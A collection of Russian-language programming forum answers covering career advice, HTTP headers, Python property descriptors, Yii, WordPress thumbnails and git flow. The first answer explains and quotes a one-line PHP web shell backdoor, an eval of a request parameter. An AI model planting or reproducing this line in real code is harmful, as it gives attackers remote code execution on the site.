Sergey

Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.

eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));

Не перекрывать переменной цикла аргумент функции.

Проверьте не исключили ли случайно директории проекта из поиска (Settings -> Directories). Если с настройками всё в порядке попробуйте сбросить кеш

Ты веcь такой кругом молодец, то знаешь, это знаешь. А теперь представь себе среднестатистический проект, который должен приносить бизнесу деньги. За две недели работы ты едва напишешь хлипкий CRUD для данных, неправильно смаппив бизнес-сущности в объекты ORM, ещё через месяц натянешь какой-то слайдер на jQ, попутно захватив 2мб JS кривых библиотек, а через два заказчик поставит тебе плохую оценку, потому что твой ценник он оплатил не за то, что ему нужно, а потому что ты знаешь монады, которые ему даром не сдались.

А теперь давай представим простого программиста. Из алгоритмов он с трудом вспоминает сортировку пузырьком, а двусвязный список — предел его знаний о структурах данных, и даже этим списком он пользовался два раза в жизни. Хаскель он никогда не видел в глаза, C++ учил только в школе, вместо этого пишет неэффективный код на PHP. И у него есть опыт. За день он распишет сущности, за второй сделает универсальный CRUD, на третий день поднимет фронт на React'е с SSR. Да, внутренности проекта будут "медленными". Вместо O(logN) что-то будет выполняться за O(N) или даже O(N^2), но всем похер. Пока всё работает на приемлемом уровне — бизнес радуется.

Кстати, к чему эта поучительная лапша? Я хотел сказать, что всеми этими модными словами можно пугать друзей и преподавателей, но в реальной жизни все алгоритмы уже реализованы, все типы данных уже подобраны оптимально. Знать их полезно для себя (чтобы мозг не атрофировался), но не для работы. Для работы тебе нужны такие навыки как:

* Оптимальный баланс между говнокодом и идеальным кодом
* Оптимальный баланс между скоростью разработки и оптимизацией кода
* Оптимальный баланс между поддерживаемым кодом и костылями
* Умение использовать те инструменты, с которыми ты работаешь. Опять же, для того, чтобы писать быстро, при этом имея минимальное количество говнокода и обеспечивая максимальную поддерживаемость (в пределах сроков). Например, можешь выкинуть в помойку свой Vim, как бы круто ты себя не чувствовал, разрабатывая в консольном редакторе, если продукты от JetBrains позволят за это же время сделать что-то лучше или чего-то больше
* Чувство "знаю больше менеджеров". Это то чувство, когда тебе кажется, что "вот эта фича скоро изменится" и надо сделать архитектуру заранее более гибкой. Или "вот эту фичу мы через месяц выпилим" и не надо тратить на неё силы — напиши костыль и через месяц с чистой совестью удали его
* Знания, как сделать ту или иную фичу. Потому что фичи повторяются (немного видоизменяясь) от проекта к проекту. И если ты сделал что-то за два дня, в следующий раз ты похожее сделаешь за три часа

Что касается инструментов, выбери любой полноценный фреймворк, который умеет решать 90%+ потребностей "из коробки": Symfony, Django, Laravel

Всякие "минималистичные" поделия вроде Falcon, Flask (в PHP не знаю, я на питоне пишу) оставь хипстерам. Пусть они говорят: "Мой фалкон такой быстрый, он написан на Cython". Тебя это не должно волновать, потому что бизнес с твоей скоростью разработки уже заработал достаточно денег, чтобы купить ещё десять серверов, пока фалконисты неделю гуглили, как прикрутить миграциии и запустить юнит-тесты на VPSке за пять баксов.

ответ состоит из заголовков и содержимого. и именно в таком порядке.

заголовок1
заголовок2
.....
заголовокX

данные

поэтому если начался вывод данных, заголовок уже не отправить.

и это не конкретно PHP, так работает HTTP.

Для начала советую понять смысл такого инструмента как реакт, и какие цели он решает. Что бы не писать глупости.

Если у вас обычный контекстный сайт, где данные статичны и не приходят с сервера(с сложной логикой) > возьмите любую cms и просто накиньте на шаблон.

Сейчас же в попытке дойти от точки А до точки Б, вы в 5-10 раз усложняете себе путь разработки и дальнейшей поддержки такого сайта, минуя чертоги разума.

"чем отличается первый метод от второго?"
первый метод нужно вызывать без скобок и он прикидывается обычной переменной-членом класса, хотя внутри может быть спрятана весьма замысловатая логика. Обычный геттер, только более удобный.

что, вкратце, делает декоратор property:

class property(object):
    def __init__(self, fget):
        self.fget = fget

    def __get__(self, obj, type = None):
        return self.fget(obj)

т.о., property реализован через дескриптор, в котором есть только getter
в случае вашего примера, с точки зрения внутренней архитектуры python, разница будет такова:

obj = Person()
# obj.full_name_2()
Person.__dict__['full_name_2'](obj)
# obj.full_name_1
Person.__dict__['full_name_1'].__get__(obj)

зачем это нужно? для себя я вижу пока что только одну причину - отделить свойства класса от методов, позволив обращаться к "вычисляемым" свойствам не как к функциям, а как к атрибутам

class Tags extends ActiveRecord
{
    public function getPages()
    {
         return $this->hasMany(Statjiblog::className(), ['id' => 'post_id'])->viaTable('{{%statjiblogtags}}', ['tag_id' => 'id']);
    }
}

public function actionPage($slug){
  $model = Tags::find()->andWhere(['slug'=>$slug])->one();
  foreach($model->pages as $page){
      echo $page->title;
  }
}

Ну или с другой строны, через join;

В настройках медиа выставляете так

+
Убираете из темы все add_image_size()
Движок перестает генерировать тонны миниатюр
Затем подключаете https://github.com/bfintal/bfi_thumb
и меняете вывод миниатюр в теме на

the_post_thumbnail( array( ххх, ххх, 'bfi_thumb' => true ) );

profit!!!
Теперь кропает только нужный размер и только в нужном месте.

Прочитайте ещё про git flow. А по сути один вариант такой.
Сделайте master ветку - как ветку основного боевого сервера. Вторую ветку dev - ветка сервера для тестирования. дальше делайте для каждого таска отдельную ветку. По окончании работы над таском делаете слияние в ветку dev. После того, как вы насобирали и оттестировали некоторое кол-во правок и задач, можете смержить master с dev веткой.

Просто добавьте проверку, создавали ли вы эти кнопки уже или нет.

if (кнопок_еще_нет) {
  добавить
}

https://jsfiddle.net/Lqdov9nk/

Котеров. PHP7 в подлиннике. Идеальный учебник-справочник-руководство по PHP в том объеме, который нужен полноценному разработчику. Лежит в бумажном варианте рядом с компьютером, обращаюсь ради консультаций.
Там есть все. От особенностей работы протокола, основ бд, до каких-то маленьких, но крайне важных особенностей применения некоторых методов.